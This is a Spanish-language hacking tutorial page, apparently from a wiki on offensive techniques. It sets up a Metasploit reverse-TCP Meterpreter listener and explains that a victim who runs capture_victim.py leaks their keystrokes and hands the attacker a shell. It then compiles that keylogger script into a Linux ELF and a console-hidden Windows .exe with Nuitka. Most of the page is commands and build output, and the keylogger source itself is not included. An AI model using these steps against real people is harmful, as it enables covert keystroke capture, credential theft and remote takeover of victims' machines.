msfconsole -q -r handler_lin.rc

Info:

[*] Processing handler_lin.rc for ERB directives.
resource (handler_lin.rc)> use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (handler_lin.rc)> set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (handler_lin.rc)> set LHOST 192.168.5.145
LHOST => 192.168.5.145
resource (handler_lin.rc)> set LPORT 7755
LPORT => 7755
resource (handler_lin.rc)> run
[*] Started reverse TCP handler on 192.168.5.145:7755

Y esto automaticamente hara que nos pongamos a la escucha.

Por lo que ya estaremos a la espera de que el usuario victima ejecute el script capture_victim.py lo que nos haria una visualizacion de lo que teclea a la vez de que obtendremos una shell con metasploit para poder hacer lo que queramos.

Requisitos para el script

Lo primero que tendremos que instalar en nuestra maquina host sera lo siguiente.

pip install colorama pynput keyboard

Y con esto deberia de funcionar el script.

Pasarlo a .elf

Primero tendremos que instalarnos una herramienta llamada Nuitka de la siguiente forma.

pip install nuitka

Seguidamente sus requisitos.

sudo apt-get update
sudo apt-get install patchelf

Una vez hecho esto ya podremos pasar el .py a un .elf.

nuitka --onefile <FILE_VICTIM_SCRIPT>.py

Info:

Nuitka-Options: Used command line options: --onefile capture_victim_update.py
Nuitka: Starting Python compilation with Nuitka '2.4.5' on Python '3.11' commercial grade 'not installed'.
Nuitka: Using Debian packages for 'colorama,six'.                                       
Nuitka:WARNING: Standalone with Python package from Debian installation may not be working.
Nuitka:WARNING:     Complex topic! More information can be found at https://nuitka.net/info/debian-dist-packages.html
Nuitka-Plugins:anti-bloat: Not including '_json' automatically in order to avoid bloat, but this may cause: may slow down by using fallback implementation.
Nuitka: Completed Python level compilation and optimization.
Nuitka: Generating source code for C backend compiler.
Nuitka: Running data composer tool for optimal constant value handling.               
Nuitka: Running C compilation via Scons.
Nuitka-Scons: Backend C compiler: gcc (gcc 13).
Nuitka-Scons: Slow C compilation detected, used 360s so far, scalability problem.
Nuitka-Scons: Running gcc -o module.Xlib.protocol.request.o -c -std=c11 -fvisibility=hidden -fwrapv -pipe -fpartial-inlining -ftrack-macro-expansion=0 -Wno-deprecated-declarations -fno-var-tracking -Wno-misleading-indentation -fcompare-debug-second -fno-lto -O2 -D__NUITKA_NO_ASSERT__ -D_NUITKA_STANDALONE -D_NUITKA_ONEFILE_MODE -D_NUITKA_ONEFILE_TEMP_BOOL -DPy_NO_ENABLE_SHARED -D_NUITKA_STATIC_LIBPYTHON -D_NUITKA_USE_UNEXPOSED_API -D_NUITKA_CONSTANTS_FROM_INCBIN -D_NUITKA_FROZEN=151 -D_NUITKA_EXE -I/usr/local/lib/python3.11/dist-packages/nuitka/build/inline_copy/zlib -I/usr/include/python3.11 -I. -I/usr/local/lib/python3.11/dist-packages/nuitka/build/include -I/usr/local/lib/python3.11/dist-packages/nuitka/build/static_src -I/usr/local/lib/python3.11/dist-packages/nuitka/build/inline_copy/libbacktrace module.Xlib.protocol.request.c took 1018.43 seconds
Nuitka-Scons: Backend linking program with 94 files (no progress information available for this stage).
Nuitka-Scons:WARNING: You are not using ccache, re-compilation of identical code will be slower than necessary. Use your OS package manager to install it.
Nuitka-Postprocessing: Creating single file from dist folder, this may take a while.
Nuitka-Onefile: Running bootstrap binary compilation via Scons.
Nuitka-Scons: Onefile C compiler: gcc (gcc 13).
Nuitka-Scons: Onefile linking program with 1 files (no progress information available for this stage).
Nuitka-Scons:WARNING: You are not using ccache, re-compilation of identical code will be slower than necessary. Use your OS package manager to install it.
Nuitka-Onefile: Using compression for onefile payload.                                                                                                       
Nuitka-Onefile: Onefile payload compression ratio (27.64%) size 30016420 to 8296318.
Nuitka-Onefile: Keeping onefile build directory 'capture_victim_update.onefile-build'.
Nuitka: Keeping dist folder 'capture_victim_update.dist' for inspection, no need to use it.
Nuitka: Keeping build directory 'capture_victim_update.build'.
Nuitka: Successfully created 'capture_victim_update.bin'.

Esto nos habra generado unos cuantos archivos entro ellos el ejecutable que queremos, solo que aparece como .bin pero si hacemos un file veremos que es un .elf por lo que haremos lo siguiente.

file capture_victim.bin

Info:

capture_victim.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ed8bb0963e700c17f760ac0d96437b84831e35c3, for GNU/Linux 3.2.0, stripped

Y ahora le cambiaremos el nombre.

mv capture_victim.bin capture_victim.elf

Eliminamos los archivos basura.

rm -rf capture_victim.build
rm -rf capture_victim.dist
rm -rf capture_victim.onefile-build

Y ya estaria listo nuesto ejecutable.

Pasarlo a .exe

Primero tendremos que instalarnos una herramienta llamada Nuitka de la siguiente forma.

pip install nuitka

Seguidamente sus requisitos.

sudo apt-get update
sudo apt-get install patchelf

Una vez hecho esto ya podremos pasar el .py a un .exe.

nuitka --standalone --windows-disable-console <FILE_VICTIM_SCRIPT>.py

Info:

Nuitka-Options: Used command line options: --standalone --windows-disable-console capture_victim_update.py
Nuitka:WARNING: The old console option '--disable-console' should not be given anymore, and doesn't
have any effect anymore on non-Windows.
Nuitka: Starting Python compilation with Nuitka '2.4.5' on Python '3.11' commercial grade 'not installed'.
Nuitka: Using Debian packages for 'colorama,six'.                                       
Nuitka:WARNING: Standalone with Python package from Debian installation may not be working.
Nuitka:WARNING:     Complex topic! More information can be found at https://nuitka.net/info/debian-dist-packages.html
Nuitka-Plugins:anti-bloat: Not including '_json' automatically in order to avoid bloat, but this may cause: may slow down by using fallback implementation.
Nuitka: Completed Python level compilation and optimization.
Nuitka: Generating source code for C backend compiler.
Nuitka: Running data composer tool for optimal constant value handling.               
Nuitka: Running C compilation via Scons.
Nuitka-Scons: Backend C compiler: gcc (gcc 13).
Nuitka-Scons: Slow C compilation detected, used 360s so far, scalability problem.
Nuitka-Scons: Running gcc -o module.Xlib.protocol.request.o -c -std=c11 -fvisibility=hidden -fwrapv -pipe -fpartial-inlining -ftrack-macro-expansion=0 -Wno-deprecated-declarations -fno-var-tracking -Wno-misleading-indentation -fcompare-debug-second -fno-lto -O2 -D__NUITKA_NO_ASSERT__ -D_NUITKA_STANDALONE -DPy_NO_ENABLE_SHARED -D_NUITKA_STATIC_LIBPYTHON -D_NUITKA_USE_UNEXPOSED_API -D_NUITKA_CONSTANTS_FROM_INCBIN -D_NUITKA_FROZEN=151 -D_NUITKA_EXE -I/usr/local/lib/python3.11/dist-packages/nuitka/build/inline_copy/zlib -I/usr/include/python3.11 -I. -I/usr/local/lib/python3.11/dist-packages/nuitka/build/include -I/usr/local/lib/python3.11/dist-packages/nuitka/build/static_src -I/usr/local/lib/python3.11/dist-packages/nuitka/build/inline_copy/libbacktrace module.Xlib.protocol.request.c took 965.35 seconds
Nuitka-Scons: Backend linking program with 94 files (no progress information available for this stage).
Nuitka-Scons:WARNING: You are not using ccache, re-compilation of identical code will be slower than necessary. Use your OS package manager to install it.
Nuitka: Keeping build directory 'capture_victim_update.build'.                      
Nuitka: Successfully created 'capture_victim_update.dist/capture_victim_update.bin'.

Esto nos habra generado unos cuantos archivos entro ellos el ejecutable que queremos, solo que estara dentro de la carpeta llamada capture_victim.dist nos metemos dentro de ella y aparece como .exe el archivo capture_victim.exe.

Eliminamos los archivos basura.

rm -rf capture_victim_update.build
rm -rf capture_victim_update.dist

Y ya estaria listo nuesto ejecutable.

PreviousPass-The-Hash en MetasploitNextVisualizar Webcam en Windows

Last updated 3 months ago